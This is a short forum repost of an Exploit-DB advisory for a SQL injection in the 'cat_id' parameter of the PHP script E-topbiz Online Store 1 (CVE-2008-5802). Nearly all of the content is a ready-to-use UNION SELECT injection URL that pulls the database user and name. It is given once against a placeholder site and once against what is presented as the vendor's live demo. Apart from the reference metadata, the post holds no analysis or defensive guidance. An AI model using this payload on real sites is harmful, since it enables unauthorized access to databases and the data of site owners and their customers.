Exploit E-topbiz Online Store 1 - 'cat_id' SQL Injection

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
7048
Проверка EDB
  1. Пройдено
Автор
STACK
Тип уязвимости
WEBAPPS
Платформа
PHP
CVE
cve-2008-5802
Дата публикации
2008-11-07
Код:
> > =================================================================
> > ======== E-topbiz Online Store 1 Remote File Sql Injection ======
> > =================================================================
> > home of script : http://e-topbiz.com/
> > By: Stack
> > ====Vulnerable Demo and Exploit ====
> >
> > PoC URL :
> > http://site.il/path/index.php?cat_id=-1%20unION/**/SELECT/**/concat_ws(0x3a,user(),database()),2,3,4,5,6/*
> >
> > Demo URL :
> > http://e-topbiz.com/trafficdemos/store1/index.php?cat_id=-1%20unION/**/SELECT/**/concat_ws(0x3a,user(),database()),2,3,4,5,6/*

# milw0rm.com [2008-11-07]
 
Источник
www.exploit-db.com

Похожие темы